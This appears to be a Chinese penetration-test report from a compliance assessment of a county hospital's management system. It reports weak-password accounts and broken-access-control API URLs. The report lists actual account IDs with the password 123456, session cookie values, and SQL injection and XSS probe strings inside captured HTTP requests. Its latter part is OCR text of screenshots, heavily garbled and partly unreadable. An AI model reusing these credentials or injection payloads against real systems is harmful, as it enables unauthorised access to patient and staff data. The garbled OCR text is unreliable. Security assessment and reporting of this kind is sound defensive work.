


[bookmark: _Toc72766554][bookmark: _GoBack]渗透测试结果记录
[bookmark: _Toc72766555]经此次等保测评验证测试，验证测试人员对“宁化县总医院医院信息后台管理系统”进行人工渗透测试，共发现高危风险漏洞2个，中危风险漏洞0个，低危风险漏洞0个。	
1 身份鉴别类
身份鉴别类渗透测试方向主要包含：弱口令扫描等。
[bookmark: _Toc72766556]1.1 关联要求项
[bookmark: _Toc72766557]安全计算环境->身份鉴别->a）应对登录的用户进行身份标识和鉴别，身份标识具有唯一性，身份鉴别信息具有复杂度要求并定期更换。
1.2 问题情况
漏洞名称：弱口令
漏洞等级: 高危
漏洞URL：http://192.168.2.3:7009/com.ylz.his/HisServlet?method=login 
漏洞验证：
系统存在多个用户使用弱口令的问题，包含以下账户
0889 / 123456、0075 / 123456、0473 / 123456、1028 / 123456、1168 / 123456
存在弱口令账户会导致系统安全风险增高，危害系统安全。
截图如下：
[image: ]
[image: ]
[image: ]
修复建议：修改密码为8位以上数字、字母混合。

[bookmark: _Toc72766559]2 访问控制类
[bookmark: _Hlk72765901]访问控制类渗透测试方向主要包含：上传漏洞、越权漏洞、目录遍历测试和绕过授权模块测试等。
[bookmark: _Toc72766560]2.1 关联要求项
[bookmark: _Toc72766561]（一）安全计算环境->访问控制->d）应授予管理用户所需的最小权限，实现管理用户的权限分离。
（二）安全计算环境->访问控制->e）应由授权主体配置访问控制策略，访问控制策略规定主体对客体的访问规则。
（三）安全计算环境->访问控制->f）访问控制的粒度应达到主体为用户级或进程级，客体为文件、数据库表级。
2.2 问题情况
漏洞名称：全局越权漏洞
漏洞等级: 高
漏洞URL：
http://192.168.2.3:7009/com.ylz.his//HisServlet?method=JSON&STARTPF_CODE=PT_BACK_PTRYGL_INFO&timedata=1705458202726 
http://192.168.2.3:7009/com.ylz.his//HisServlet?method=JSON&STARTPF_CODE=PT_BACK_PTRYGL_00001&timedata=1705457464712
http://192.168.2.3:7009/com.ylz.his//HisServlet?method=JSON&STARTPF_CODE=PT_BACK_PTRYGL_YGXXXGRZCX&timedata=1705460856713
漏洞验证：
系统存在全局越权漏洞，使用低权限/无权限账户可以直接调用相关接口，越权进行查询或操作等行为，危害系统安全。
截图如下：
[bookmark: _Hlk156383156]http://192.168.2.3:7009/com.ylz.his//HisServlet?method=JSON&STARTPF_CODE=PT_BACK_PTRYGL_INFO&timedata=1705458202726  
越权查询单个用户明细
[image: ]
[image: ]
[image: ]
[bookmark: _Hlk156383166]http://192.168.2.3:7009/com.ylz.his//HisServlet?method=JSON&STARTPF_CODE=PT_BACK_PTRYGL_00001&timedata=1705457464712  越权查询所有用户信息
[image: ]
越权查询日志信息
[bookmark: _Hlk156383181]http://192.168.2.3:7009/com.ylz.his//HisServlet?method=JSON&STARTPF_CODE=PT_BACK_PTRYGL_YGXXXGRZCX&timedata=1705460856713 
[image: ]
[image: ]
修复建议：做好基于角色的访问权限控制策略，禁止不同角色用户之间越权访问。

[bookmark: _Toc72766563]3 入侵防范类
入侵防范类渗透测试方向主要包含：SQL注入和XSS跨站脚本漏洞等。
[bookmark: _Toc72766564]3.1 关联要求项
[bookmark: _Hlk72766317]安全计算环境->入侵防范->d) 应提供数据有效性检验功能，保证通过人机接口输入或通过通信接口输入的内容符合系统设定要求。
[bookmark: _Toc72766565]3.2 问题情况
XSS、SQL注入检查 
进行注入尝试，打入payload，暂未发现有此类漏洞。
[image: ]
[image: ]
未发现此类漏洞。
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07 "aa”, “wdvbh0”: ", “xb0000": "3 *, “xgr000": 0, "xgrasi*: *”, "xkh000": *0207", "xsxh00” 1 0, “xw0000": 0, "xzplsi®:"", "xzzwl0": 0, "yhiszw" ", “yhsfzc” ", “yhyzdn": **, “yhzsbh": **, “yhzyfw" ", “yhzylb”: **, “ygbh00": 240, "yecsrq”:"", "yexz00": " Hr B

B, ”, “ygxanc”:”, “ygzjgg”: ", “yhk100°: 77, “yhk101”: ¥, “y1£100": 77, “yst1bh”: **, “ys1b00”: **, “yspalb”: **, “yszin”: **, “yytats”:0, “zeplsi”: ", “zeads;”: ", “zgx100”:0, “z1dj00": 77, “zwid00": 0, “zwxn00”: &, “zyjszc”:0, “zzjeid” 0, “zzan00": 0, “zzzt00”: 0, “zzztnc”: "B K],

{"brbk00” 103, “banc00” W B

£b*, “brid00”: 0, "byyx00”: **, “bz0000”: *", "c£3b00”: 0, “cfqes0”: ", “cjgarg”: ", "cjgasi”: ", "ejr000”: 0, “cjrgsj”: "", "czbz00”: "1”, "earqll”: *”, "czsj00”: *”, "czsj01”: *”, "ezy001”: 0, “czyme0”: "”, “dh0000”: *”, “dlnn00”: "”, “dpd;00”: "”, “gwdj00”: 0, "g2dj00”: *”, " jsywax”: *", " jxze00”: 0, " jxzcs
37:7%, "kssjb0”:0, “log”: **, “1ys300”: **, “mcwes”: 0, “nnqrrq”: **, “nrehlb”: 0, “nzcflb”: **, “nzdj00”: **, “password”: **, “pagssj”: **, “pysn00”: “1fx", “ryf100”:0, “sdrq00”: **, “sdsj00”: **, *sdyy00": **, “sfsdyh”: **, “sfzbh0”: **, “sgsrzd”: **, “53dj00": **, *s5dj00": >, “type”:0, “userid”:0, “wbsn
00" *spt”, “wdvbh0”: ", “xb0000": “*, “xgr000”: 0, "xgrasi*: ", "xkh000": *0226", “xsxh00”: 0, “xw0000": 0, “xzplsi®: *", "xzzwl0”: 0, "yhiszw” ", “yhsfzc”: ", “yhyzdn" ", “yhzsbh" ", “yhzyfw" ", “yhzylb”: ", “ygbh00": 260, "yecsrq”:"", "yexz00": " Wi B

B,7 "ygxame” 7, "ygzieg”: ", "HELOD": 7Y, "YHI01 ", PIE100° 77, yst bk 7, "ysIb00": ", "yspalb’: ", "ysziha’ ", "yytats” 0, “zoplsi”: 7Y, *aeqdsi”:*, *2gxl00%: 0, “21d500%: 7Y, " eid00” 0, "mwen00”: " ERE”, " zyjszc’ 0, *azigid’ 0, "zamnd0” 10, "22ze00" 0, “zzzenc” TR,

1"bmbh00" : 109, “bnnc00”: "W

K [0 Elements Sourc Network Memory  Application  Lightho formance insights 2 HackBar  EETESE kie-Editor o1 @ i
LOAD ~ SPLIT  EXECUTE  TEST~ SQLI~ XSS~ LFl~ SSRF~  SSTI~  SHELL~  ENCODING ~  HASHING -  CUSTOM ~ MODE - THEME ~

http://192.168.2.3:7689/com.ylz.his//HisServlet?method=JSON&STARTPF_CODE=PT_BACK_PTRYGL_00001&timedata=1705457464712

-« e POST met application/x - MODIFY HEADER

e val

~ JSESSIONID=2BES9FFE92D925ADB3456E5FCBA1C3E4 X

BMBHB@=&BMMC!

X




image8.png
Request

Pretty  Raw  Hex

1 POST /com. ylz. his//HisServlet?method=JSONGSTARTPF_CODE=PT_BACK_PTRYGL_YGXXNGRZCK&
timedata=1705460856713 HTTP/1. 1

2 Host: 192.168. 2. 3:7009

3 Content-Length: 50

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/117.0.5938. 132 Safari/537. 36

5 X-Requested-With: XMLHttpRequest

6 Content-Type: application/x-www-form-urlencoded; charset=UTF-§

7 Accept: ®/*

8 Origin: http://192. 168. 2. 3:7009

9 Referer:
http://192. 168. 2. 3:7009/com. ylz. his//portal/personrolemanager/administration. jsp

10 Accept-Encoding: gzip, deflate, br

11 Accept-Language: zh—CN, zh;q=0. 9

12 Cookie: JSESSIONID=2BE5OFFE92D925ADB3456ESFCBA1C3E4; HTQK_YGKXXSE!
N; HTQX_GRXXZDB HTQX_SFSYSRMCA=N; HTQX_YHGLCFJBXSBZ=Y; biaot:
O4E THAG%SFHE SUBRHBANE THOCHS 1%E AHB S OHE 6% IS HEENE SHBBNE2E SHAE S 1 HE 5%E CHIGUE SHEEUBFUES
%BCHBBUETHOINAL

13 Comnection: close

14

15 CZRQFROM=20240117&CZRQT0=20240117&XKH000=&YGXKHO0=

HTQX_GRXXXJBZ=

Response

Pretty  Raw  Hex
1 HTTP/1.1 200
2 Content-Type: text/json;charset=UTF-8
3 Content-Length: 714

4 Date: Wed,

5 Connection: close

6 Server: ylz.mickey. server

s

{

{

Render

”czid00” : 54327060,

"cz1x00":1,
7 cznr00’

" (5 BT AR,

n Client)”,

"czrq00”:"20240117",

"czrafrom”:

"czrybm”: 538,

"czs3007:"08:42:39",

“czsifrom”:
“ezsjto”:"",

17 Jan 2024 03:08:13 GMT

:1->2; (iH5HL% s unknown; TPHht: 192. 168. 2. 3; Kiffl#2/7: JDBC Thi

“cztable”:"BM_YGBMOO,
“czyxm0”:"0803 3L,

“dataid”:209,

”ygxkh00”:"0167"

"czid00” : 54324288,

"cz1x00":1,
7 cznr00’

” (e TR 817140 5 : 65->39225; Fi 1) 448K - JREERL-> Bk GHECHLA s unknown; IPHhE

:192. 168. 2. 82; [uiilf/¥: JDBC Thin Client)”,

"czrq00”:"20240117",

"czrafrom”:"”.

“czrqto”:"”,
” eorvbm” - 538.
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Request

Pretty  Raw  Hex

1 POST /com. ylz. his//HisServlet?method=JSONGSTARTPF_CODE=PT_BACK_QXRZGL_JSYGGN&
timedata=1705457955471 HTTP/1. 1

2 Host: 192.168. 2. 3:7009

3 Content-Length: 84

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/117.0.5938. 132 Safari/537. 36

5 X-Requested-With: XMLHttpRequest

6 Content-Type: application/x-www-form-urlencoded; charset=UTF-§

7 Accept: ®/*

8 Origin: http://192. 168. 2. 3:7009

9 Referer: http://192. 168. 2. 3:7009/com. y1z. his//portal/logmanager/log. jsp

10 Accept-Encoding: gzip, deflate, br

11 Accept-Language: zh-CN, zh;q=0. 9

12 Cookie: JSESSIONID=B365C08TE10BBSFDCSBBR3TBOGBACT21; HTQX_YGKXXSE!
N; HTQX_GRXXZDB HTQX_SFSYSRMCA=N; HTQX_YHGLCF JBXSBZ=
U4E THAG%SFHE SHBRHBANE THOCHS 1E AHB 8B OHE 6% IS HEENE B BNE2E SHAE S 1 HE 5%E CHIGHE SHEEUBFUES
%BCHBBUETHOINAL

13 Comnection: close

14

15 CZRQFROM=20240117&CZRQT0=20240117&CZR000=1" or’ 1’ %3d’ 1&YYROO0=GNMCO0=8CZLXO0=RZLX00
=0&CZTABL=0

HTQX_GRXXXJBZ=

16 ‘or 1=1/%
17 Tort'="1
18

19

20

21 ora=a
22 aora
23 lor

Request  Response
Pretty  Raw  Hex  Render
1 HTTP/1. 1 200

2 Content-Type: text/json;charset=UTF-8

3 Content-Length: 6
4 Date: Wed, 17 Jan 2024 03:
5 Keep-Alive: timeout=60
6 Cornection: keep-alive
7 Server: ylz.mickey. server
8
9L
null

1

200

200
200
200
200
200
200

13 GUT

193
193
193
193
193
193
193
193
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Request
Pretty  Raw  Hex n o=
1 GET /com. ylz. his/HisServlet?method=%22%3EM3Cimg%20sre=1%200nerror=alert (123) %38
HITP/1.1
2 Host: 192.168. 2. 3:7009
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/117.0.5938. 132 Safari/537. 36
5 Accept:
text/htul, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/webp, image/
apng, #/+;q=0. 8, application/signed-exchange; v=b3;q=0. 7
6 Accept-Encoding: gzip, deflate, br
7 Accept-Language: zh-CN, zh;q=0.9
8 Cookie: JSESSIONID=B365C087E10BBSFDCSBBR3TBOGBACT21; HIQK_YG:
HTQX_GRXXXJBZ=] _ _
O4E THAB%SFHE SHBRHBARE THOCHS L%E AHB 8% OHE G%OSHSENE 5B BHE2E SHAES 1 HE 5%E CHOBHE SHEENBF
E5%SCHBBUEOHOI%A
9 Comnection: close
10
11

Response
Pretty ~Raw  Hex  Render
1 hTTP/1. 1 200
2 Content-Type: text/html;charset=UTF-§
3 Content-Length: 0
4 Date: Wed, 17 Jan 2024 03:18:26 GMT
5 Comnection: close
6 Server: ylz.mickey. server

8





